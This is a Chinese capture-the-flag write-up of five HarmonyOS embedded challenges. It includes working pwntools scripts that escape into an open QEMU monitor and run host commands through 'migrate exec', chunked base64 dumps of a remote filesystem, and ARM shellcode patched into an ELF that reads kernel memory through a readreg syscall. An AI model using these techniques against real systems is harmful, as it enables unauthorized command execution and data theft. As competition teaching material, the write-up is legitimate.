总共5道嵌入式赛题,全部非预期…
用户态赛题
所有的启动脚本中,qemu都没有关monitor(-monitor /dev/null):
./qemu-system-arm -M hi3518 -kernel liteos.bin -nographic
所以可以直接发送控制字符组合(b"\x01c"
),使得远程的qemu进入monitor模式,然后即可执行qemu外的系统命令:
from pwn import *
context(log_level='debug')
io =remote("172.35.7.36",9999)
io.send(b"\x01c")
io.interactive()
这种打法经常出现在qemu逃逸题目中非预期中,flag一般直接可以查看到,但本题的flag在harmonyOS的文件系统中,所以要重点关注rootfs.img
- 解包工具:jefferson
- 解包用法:
jefferson rootfs.img -d ./xxx
- 固件打包:
mkfs.jffs2 -d ./xxx -o rootfs.img
unsql
可以执行本机命令后,尝试直接strings题目文件系统即可看到flag:
from pwn import *
context(log_level='debug')
io =remote("172.35.7.36",9999)
io.send(b"\x01c")
sleep(1)
io.sendline(b"")
io.sendlineafter("(qemu) ",'migrate "exec: strings /rootfs.img | grep flag"')
io.interactive()
flag{SQLITE_WORKS_Well_in_HarmonyOS}
yugioh
本题的文件系统strings后没有flag结果,分析程序,flag应该在远程文件系统中的cards文件夹中,所以想办法把远程的rootfs.img dump下来即可。首先将其base64编码:
migrate "exec: base64 rootfs.img > /tmp/1.txt 1>&2"
查看其总共12w行左右,然后分段下载,每次1w行,下载过程中可能不稳定,手工检查一下每个文件是否是1w行:
from pwn import *
#context(log_level='debug')
for j in range(0,13):
io =remote("172.35.7.37",9999)
io.send(b"\x01c")
sleep(10)
log.success("[shell]")
f = open(str( j*100 ),'wb')
for i in range(j*100,(j+1)*100):
io.sendline(b"")
io.sendlineafter("(qemu)",'migrate "exec: cat /tmp/1.txt | tail -n +%s | head -n 100 1>&2"'%str(i*100))
a = io.recvuntil("tail: error writing")
print('xuanxuan')
print(a)
if a[-19:] == b'tail: error writing':
print('[+] %s / 1205' % str(i))
f.write(a[-7719:-19])
print(a[-789:-19])
else:
break
f.close()
io.close()
然后合并下载的13个文件并base64解码,然后解开文件系统就能找到flag:
➜ cd ./cards
➜ grep -r "flag" ./
./Right_Leg_of_the_Forbidden_One:flag{Yugioh_Is_Really_FUN!}
./Right_Leg_of_the_Forbidden_One:flag{Yugioh_Is_Really_FUN!}
dptth
虽然本题的qemu也没有关monitor,但无法和qemu直接交互,交互的方式为发送base64编码的HTTP请求,然后由题目脚本转发给题目的webserver。不过发现远程直接发base64编码的GET / HTTP/1.1\n\n
发现回包中本身就含有hacked,而题目检查回包中有hacked就打印flag:
#!/usr/bin/env python3
import socket
import base64
import os
import time
import atexit
def exit_handler():
os.system("kill -9 `pidof qemu-system-arm`")
HOST = "192.168.1.10" # The server's hostname or IP address
PORT = 8008 # The port used by the server
atexit.register(exit_handler)
os.system("./start_qemu.sh >/dev/null &")
print("Wait for the server to run up")
time.sleep(20)
def make_request(request_data):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
s.sendall(request_data)
print("Waiting for output", flush=True)
time.sleep(5)
data = s.recv(1024)
print("Received {}".format(data), flush=True)
return data
for i in range(2):
print("Give me your payload: ", flush=True)
data = input().strip().encode("utf-8")
data = base64.b64decode(data)
make_request(data)
response = make_request(b"GET / HTTP/1.1\n\n")
if b"hacked" in response:
with open("/flag", "r") as f:
print(f.read(), flush=True)
因此无论输入什么只要不触发崩溃即可,测试发送base64编码的GET / HTTP/1.1\n\n
几次即可:
>>> b64e(b"GET / HTTP/1.1\n\n")
'R0VUIC8gSFRUUC8xLjEKCg=='
flag{Clasic_http_ON_Harmony}
内核态赛题
虽然启动QEMU也没关monitor,但也是无法直接和QEMU交互。两年前在杭州进行鸿蒙系统开源测试的时候,就发现了HarmonyOS的shell里有一些内建命令,其中readreg可以直接读内核内存,而flag就在内核内存中…
这里readreg的含义应该是读取ARM SoC上的外设寄存器,这些寄存器访问就是通过物理地址。
不过由于远程不能直接执行shell命令,而是需要传一个ELF程序上去,所以我们需要分析readreg命令背后的原理,并实现到ELF中。分析这个命令的实现不在shell程序中,而是在内核中。并且为了方便选手逆向,题目还给了ELF格式的内核:
➜ grep -r "shell commands" ./
Binary file .//liteos.bin matches
Binary file .//liteos matches
➜ file liteos
liteos: ELF 32-bit LSB executable, ARM, statically linked, not stripped
分析两道题目的liteos中的flag地址分别为
- harmodriver_revenge:0x40130580
- drivemecrazy:0x40131580
以harmodriver_revenge为例,在调用readreg 0x40130580 0x20
进行调试,因为实现在内核,所以将断点打在shell程序的syscall调用(base+0x4510):
.plt:00004510 syscall
.plt:00004510
.plt:00004510 ADRL R12, 0x4518
.plt:00004518 LDR PC, [R12,#(off_5164 - 0x4518)]!
调试方法如两年前所写:XCTF华为鸿蒙专场 HARMOFS01
执行readreg 0x40130580 100
,断点断下,查看参数寄存器,发现shell命令的系统调用号为0x206,命令直接用字符串传递:
pwndbg> p /x $r0
$1 = 0x206
pwndbg> x /s $r1
0x242d4aa0: "readreg"
pwndbg> x /s $r2
0x242d4a80: "readreg 0x40130580 100"
查看libc.so中的syscall函数实现,确认syscall的参数传递符合arm标准,r0,r1传递参数,r7存放系统调用号:
.text:0006AB14 syscall
...
.text:0006AB2C MOV R7, R0
...
.text:0006AB34 MOV R0, R1
...
.text:0006AB48 MOV R1, R2
...
.text:0006AB60 SVC 0
所以可以写出调用readreg的shellcode:
from pwn import *
context(arch='arm')
shellcode = asm('''
mov r7,0x206
adr r0,readreg
adr r1,cmd
svc 0
readreg:
.asciz "readreg"
cmd:
.asciz "readreg 0x40130580 100"
''')
print(shellcode.hex())
然后把这个shellcode塞进一个原本的程序中即可,这里以camera_app为例,其main函数在ELF文件0x1154偏移处:
from pwn import *
context(arch='arm')
shellcode = asm('''
mov r7,0x206
adr r0,readreg
adr r1,cmd
svc 0
readreg:
.asciz "readreg"
cmd:
.asciz "readreg 0x40130580 100"
''')
print(shellcode.hex())
stub = open('./camera_app','rb').read()
exp = stub[:0x1154]+shellcode+stub[0x1154+len(shellcode):]
open('./exp','wb').write(exp)
重打包后执行便可获取flag:
OHOS # ./exp
OHOS #
0x40130580 :67616c66 6968547b 73692073 726f6620
0x40130590 :73657420 00007d74 00000000 00000000
0x401305a0 :00000000 00000000 4006a2cc 00000000
0x401305b0 :00000000 00000000 400ec6ec 401305c8
0x401305c0 :4026b8bc 7fffffff 400de6b0 400f84dc
0x401305d0 :00000000 00000000 00000002 40300bfc
0x401305e0 :4006be2c
然后将elf进行hex编码上传即可获取远程flag:
from pwn import *
context(log_level='debug')
exp = open("./exp",'rb').read().hex()
io = remote("172.35.7.35",9999)
io.sendlineafter(b"finish",exp)
sleep(0.1)
io.sendline(b"Exit")
io.interactive()
不过远程输出比较乱,可以开启pwntools的log_level='debug'
然后手工处理一下,两个题目的返回如下
harmodriver_revenge
返回如下:
[DEBUG] Received 0xa84 bytes:
00000000 2e 2f 70 77 6e 0d 0d 0a 1b 5b 31 3b 33 31 6d 4f │./pw│n···│·[1;│31mO│
00000010 48 4f 53 20 23 20 1b 5b 30 6d 0d 0d 0a 20 30 78 │HOS │# ·[│0m··│· 0x│
00000020 34 30 31 33 30 35 38 30 20 3a 36 37 36 31 36 63 │4013│0580│ :67│616c│
00000030 36 36 20 37 32 36 31 34 38 37 62 20 37 32 34 34 │66 7│2614│87b │7244│
00000040 36 66 36 64 20 36 35 37 32 35 66 36 39 20 0d 0d │6f6d│ 657│25f6│9 ··│
00000050 0a 20 30 78 34 30 31 33 30 35 39 30 20 3a 34 37 │· 0x│4013│0590│ :47│
00000060 36 65 36 35 37 36 20 30 30 30 30 37 64 34 35 20 │6e65│76 0│0007│d45 │
00000070 30 30 30 30 30 30 30 30 20 30 30 30 30 30 30 30 │0000│0000│ 000│0000│
00000080 30 20 0d 0d 0a 20 30 78 34 30 31 33 30 35 61 30 │0 ··│· 0x│4013│05a0│
00000090 20 3a 30 30 30 30 30 30 30 30 20 30 30 30 30 30 │ :00│0000│00 0│0000│
000000a0 30 30 30 20 34 30 30 36 61 32 63 63 20 30 30 30 │000 │4006│a2cc│ 000│
000000b0 30 30 30 30 30 20 0d 0d 0a 20 30 78 34 30 31 33 │0000│0 ··│· 0x│4013│
000000c0 30 35 62 30 20 3a 30 30 30 30 30 30 30 30 20 30 │05b0│ :00│0000│00 0│
000000d0 30 30 30 30 30 30 30 20 34 30 30 65 63 36 64 61 │0000│000 │400e│c6da│
000000e0 20 34 30 31 33 30 35 63 38 20 0d 0d 0a 20 30 78 │ 401│305c│8 ··│· 0x│
000000f0 34 30 31 33 30 35 63 30 20 3a 34 30 32 36 62 38 │4013│05c0│ :40│26b8│
00000100 62 63 20 37 66 66 66 66 66 66 66 20 34 30 30 64 │bc 7│ffff│fff │400d│
00000110 65 36 62 30 20 34 30 30 66 38 34 64 63 20 0d 0d │e6b0│ 400│f84d│c ··│
00000120 0a 20 30 78 34 30 31 33 30 35 64 30 20 3a 30 30 │· 0x│4013│05d0│ :00│
00000130 30 30 30 30 30 30 20 30 30 30 30 30 30 30 30 20 │0000│00 0│0000│000 │
00000140 30 30 30 30 30 30 30 32 20 34 30 33 30 30 62 66 │0000│0002│ 403│00bf│
00000150 63 20 0d 0d 0a 20 30 78 34 30 31 33 30 35 65 30 │c ··│· 0x│4013│05e0│
00000160 20 3a 34 30 30 36 62 65 32 63 20 0d 0d 0a 0d 0d │ :40│06be│2c ·│····│
00000170 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a │·***│****│****│****│
00000180 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a │****│****│****│****│
处理并打印:
flag = bytes.fromhex('''
2e 2f 70 77 6e 0d 0d 0a 1b 5b 31 3b 33 31 6d 4f
48 4f 53 20 23 20 1b 5b 30 6d 0d 0d 0a 20 30 78
34 30 31 33 30 35 38 30 20 3a 36 37 36 31 36 63
36 36 20 37 32 36 31 34 38 37 62 20 37 32 34 34
36 66 36 64 20 36 35 37 32 35 66 36 39 20 0d 0d
0a 20 30 78 34 30 31 33 30 35 39 30 20 3a 34 37
36 65 36 35 37 36 20 30 30 30 30 37 64 34 35 20
30 30 30 30 30 30 30 30 20 30 30 30 30 30 30 30
30 20 0d 0d 0a 20 30 78 34 30 31 33 30 35 61 30
20 3a 30 30 30 30 30 30 30 30 20 30 30 30 30 30
30 30 30 20 34 30 30 36 61 32 63 63 20 30 30 30
30 30 30 30 30 20 0d 0d 0a 20 30 78 34 30 31 33
30 35 62 30 20 3a 30 30 30 30 30 30 30 30 20 30
30 30 30 30 30 30 30 20 34 30 30 65 63 36 64 61
20 34 30 31 33 30 35 63 38 20 0d 0d 0a 20 30 78
34 30 31 33 30 35 63 30 20 3a 34 30 32 36 62 38
62 63 20 37 66 66 66 66 66 66 66 20 34 30 30 64
65 36 62 30 20 34 30 30 66 38 34 64 63 20 0d 0d
0a 20 30 78 34 30 31 33 30 35 64 30 20 3a 30 30
30 30 30 30 30 30 20 30 30 30 30 30 30 30 30 20
30 30 30 30 30 30 30 32 20 34 30 33 30 30 62 66
63 20 0d 0d 0a 20 30 78 34 30 31 33 30 35 65 30
20 3a 34 30 30 36 62 65 32 63 20 0d 0d 0a 0d 0d
0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a
2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a
'''.replace(" ","").replace("\n",""))
print(flag.decode())
打印结果:
➜ python3 flag.py
./pwn
OHOS #
0x40130580 :67616c66 7261487b 72446f6d 65725f69
0x40130590 :476e6576 00007d45 00000000 00000000
0x401305a0 :00000000 00000000 4006a2cc 00000000
0x401305b0 :00000000 00000000 400ec6da 401305c8
0x401305c0 :4026b8bc 7fffffff 400de6b0 400f84dc
0x401305d0 :00000000 00000000 00000002 40300bfc
0x401305e0 :4006be2c
*******************************
hex解码打印flag:
l = ["67616c66","7261487b","72446f6d","65725f69","476e6576","00007d45"]
f = b''
for i in l:
f += bytes.fromhex(i)[::-1]
print(f)
flag{HarmoDri_revenGE}
drivemecrazy
同上,shellcode记得修改flag地址为0x40131580:
[DEBUG] Received 0xa84 bytes:
00000000 2e 2f 70 77 6e 0d 0d 0a 1b 5b 31 3b 33 31 6d 4f │./pw│n···│·[1;│31mO│
00000010 48 4f 53 20 23 20 1b 5b 30 6d 0d 0d 0a 20 30 78 │HOS │# ·[│0m··│· 0x│
00000020 34 30 31 33 31 35 38 30 20 3a 36 37 36 31 36 63 │4013│1580│ :67│616c│
00000030 36 36 20 37 32 36 31 34 38 37 62 20 36 34 36 38 │66 7│2614│87b │6468│
00000040 36 66 36 64 20 36 39 37 32 34 34 36 36 20 0d 0d │6f6d│ 697│2446│6 ··│
00000050 0a 20 30 78 34 30 31 33 31 35 39 30 20 3a 34 33 │· 0x│4013│1590│ :43│
00000060 36 35 36 64 37 36 20 37 34 37 30 37 39 37 32 20 │656d│76 7│4707│972 │
00000070 37 64 37 39 37 61 36 66 20 30 30 30 30 30 30 30 │7d79│7a6f│ 000│0000│
00000080 30 20 0d 0d 0a 20 30 78 34 30 31 33 31 35 61 30 │0 ··│· 0x│4013│15a0│
00000090 20 3a 30 30 30 30 30 30 30 30 20 30 30 30 30 30 │ :00│0000│00 0│0000│
000000a0 30 30 30 20 30 30 30 30 30 30 30 30 20 30 30 30 │000 │0000│0000│ 000│
000000b0 30 30 30 30 30 20 0d 0d 0a 20 30 78 34 30 31 33 │0000│0 ··│· 0x│4013│
000000c0 31 35 62 30 20 3a 30 30 30 30 30 30 30 30 20 30 │15b0│ :00│0000│00 0│
000000d0 30 30 30 30 30 30 30 20 34 30 30 36 61 32 64 38 │0000│000 │4006│a2d8│
000000e0 20 30 30 30 30 30 30 30 30 20 0d 0d 0a 20 30 78 │ 000│0000│0 ··│· 0x│
000000f0 34 30 31 33 31 35 63 30 20 3a 30 30 30 30 30 30 │4013│15c0│ :00│0000│
00000100 30 30 20 30 30 30 30 30 30 30 30 20 34 30 30 65 │00 0│0000│000 │400e│
00000110 64 37 37 39 20 34 30 31 33 31 35 64 38 20 0d 0d │d779│ 401│315d│8 ··│
00000120 0a 20 30 78 34 30 31 33 31 35 64 30 20 3a 34 30 │· 0x│4013│15d0│ :40│
00000130 32 36 63 63 30 30 20 37 66 66 66 66 66 66 66 20 │26cc│00 7│ffff│fff │
00000140 34 30 30 64 66 36 63 66 20 34 30 30 66 39 36 32 │400d│f6cf│ 400│f962│
00000150 63 20 0d 0d 0a 20 30 78 34 30 31 33 31 35 65 30 │c ··│· 0x│4013│15e0│
00000160 20 3a 30 30 30 30 30 30 30 30 20 0d 0d 0a 0d 0d │ :00│0000│00 ·│····│
00000170 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a │·***│****│****│****│
l = ["67616c66","7261487b","64686f6d","69724466","43656d76","74707972","7d797a6f"]
f = b''
for i in l:
f += bytes.fromhex(i)[::-1]
print(f)
flag{HarmohdfDrivmeCryptozy}